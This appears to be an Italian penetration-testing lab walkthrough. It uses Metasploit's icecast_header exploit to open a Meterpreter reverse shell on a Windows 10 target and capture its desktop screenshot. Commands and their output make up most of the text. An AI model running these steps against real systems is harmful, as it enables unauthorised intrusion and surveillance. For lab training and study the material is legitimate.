

Ottenere una sessione di Meterpreter sul target Windows 10 con Metasploit e recuperare uno screenshot

Come primo passaggio, si deve ottenere una sessione di *Meterpreter*, inserendo l' exploit `exploit/windows/http/icecast_header`.

Una volta eseguito il comando, si andrà a verificare con `ifconfig` se si ha accesso alla macchina, controllando l' indirizzo ip.

```
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.1.58
rhosts => 192.168.1.58
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.20:4444
[*] Sending stage (176198 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.58:49685) at 2024-11-14 09:34:15 -0500

meterpreter > ifconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:36:f4:d2
MTU        : 1500
IPv4 Address : 192.168.1.58
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2a01:e11:400:b490:e189:594b:6141:3025
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : 2a01:e11:400:b490:8daf:a1e1:95cf:4469
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::e189:594b:6141:3025
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Una volta dentro la macchina, con meterpreter, si andrà ad eseguire il comando *screenshot* per avere un fermo immagine del desktop di windows 10.

```
meterpreter > screenshot  
Screenshot saved to: /home/kali/Ez0hYRL0.jpeg  
meterpreter > █
```

Come si vede nell' immagine, eseguito il comando, va a salvare lo screenshot nella macchina kali sul percorso raffigurato nell' immagine. Andando nella cartella di destinazione si potrà aprire il relativo screenshot.

